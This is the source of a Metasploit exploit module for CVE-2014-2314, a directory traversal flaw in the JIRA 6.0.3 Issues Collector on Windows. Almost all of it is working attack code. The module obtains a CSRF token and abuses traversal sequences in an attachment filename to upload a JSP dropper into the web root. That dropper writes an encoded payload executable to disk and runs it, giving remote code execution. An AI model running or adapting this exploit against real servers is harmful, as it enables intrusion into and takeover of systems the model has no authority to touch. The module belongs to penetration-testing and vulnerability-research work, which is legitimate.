JIRA Issues Collector – Directory Traversal (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'JIRA Issues Collector Directory Traversal', 'Description' => %q{ This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists in the issues collector code, while handling attachments provided by the user. It can be exploited in Windows environments to get remote code execution. This module has been tested successfully on JIRA 6.0.3 with Windows 2003 SP2 Server. }, 'Author' => [ 'Philippe Arteau', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-2314'], [ 'OSVDB', '103807' ], [ 'BID', '65849' ], [ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ], [ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ] ], 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'Jira 6.0.3 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 26 2014')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to JIRA', '/']), OptInt.new('COLLECTOR', [true, 'Collector ID']) ], self.class) register_advanced_options( [ # By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]), # By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian' OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6]) ], self.class) end def get_upload_token res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']), 'method' => 'POST', 'data' => rand_text_alpha(10 + rand(10)), 'vars_get' => { 'filename' => rand_text_alpha(10 + rand(10)) } }) if res and res.code == 500 and res.body =~ /"token":"(.*)"}/ csrf_token = $1 @cookie = res.get_cookies else csrf_token = "" end return csrf_token end def upload_file(filename, contents, csrf_token) traversal = "..\\" * datastore['TRAVERSAL_DEPTH'] traversal << datastore['JIRA_PATH'] res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']), 'method' => 'POST', 'data' => contents, 'cookie' => @cookie, 'ctype' => 'text/plain', 'vars_get' => { 'filename' => "#{traversal}\\#{filename}", 'atl_token' => csrf_token } }) if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/ register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}") register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}") return true else print_error("#{peer} - Upload failed...") return false end end def upload_and_run_jsp(filename, contents) print_status("#{peer} - Getting a valid CSRF token...") csrf_token = get_upload_token fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty? print_status("#{peer} - Exploiting traversal to upload JSP dropper...") upload_file(filename, contents, csrf_token) print_status("#{peer} - Executing the dropper...") send_request_cgi( { 'uri' => normalize_uri(target_uri.path, filename), 'method' => 'GET' }) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login.jsp'), }) if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/ version = $1 else return Exploit::CheckCode::Unknown end if version <= "6.0.3" return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Generating EXE...") exe = payload.encoded_exe @exe_filename = Rex::Text.rand_text_alpha(8) + ".exe" print_status("#{peer} - Generating JSP dropper...") dropper = jsp_drop_and_execute(exe, @exe_filename) dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" print_status("#{peer} - Uploading and running JSP dropper...") upload_and_run_jsp(dropper_filename, dropper) end # This should probably go in a mixin (by egypt) def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end |